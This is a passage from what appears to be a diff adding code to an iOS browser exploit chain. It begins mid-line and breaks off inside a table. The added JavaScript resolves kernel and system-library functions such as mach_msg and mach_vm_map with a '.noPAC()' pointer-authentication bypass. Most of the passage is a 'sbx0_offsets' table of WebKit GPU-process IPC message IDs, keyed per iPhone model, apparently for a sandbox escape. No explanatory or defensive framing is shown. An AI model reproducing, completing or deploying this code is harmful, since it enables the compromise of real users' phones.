dlopen('/usr/lib/system/libsystem_kernel.dylib', 1n); + const libsystem_platform = dlopen('/usr/lib/system/libsystem_platform.dylib', 1n); + offsets.pthread_exit = dlsym(libsystem_pthread, 'pthread_exit').noPAC(); + offsets.pthread_setspecific = dlsym(libsystem_pthread, 'pthread_setspecific').noPAC(); + offsets.mach_port_allocate = dlsym(libsystem_kernel, 'mach_port_allocate').noPAC(); + offsets.mach_port_insert_right = dlsym(libsystem_kernel, 'mach_port_insert_right').noPAC(); + offsets.mach_msg_fn = dlsym(libsystem_kernel, 'mach_msg').noPAC(); + offsets.mach_make_memory_entry_64_fn = dlsym(libsystem_kernel, 'mach_make_memory_entry_64').noPAC(); + offsets.mach_vm_map_fn = dlsym(libsystem_kernel, 'mach_vm_map').noPAC(); + offsets.vm_allocate_fn = dlsym(libsystem_kernel, 'vm_allocate').noPAC(); + offsets.semaphore_signal = dlsym(libsystem_kernel, 'semaphore_signal').noPAC(); + offsets.memset = dlsym(libsystem_platform, '_platform_memset').noPAC(); + offsets.memcpy = dlsym(libsystem_platform, '_platform_memmove').noPAC(); + offsets.exit = dlsym(libsystem_kernel, '_exit').noPAC(); + sbx0_rw_begin = Date.now(); + sbx0_offsets = { + "iPhone11,2_4_6_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, +"iPhone11,6_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + +"iPhone11,4_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + + "iPhone11,8_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone12,1_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone12,3_5_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, +"iPhone12,5_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + + "iPhone12,8_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone13,1_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone13,2_3_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, +"iPhone13,3_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + + "iPhone13,4_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,2_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + 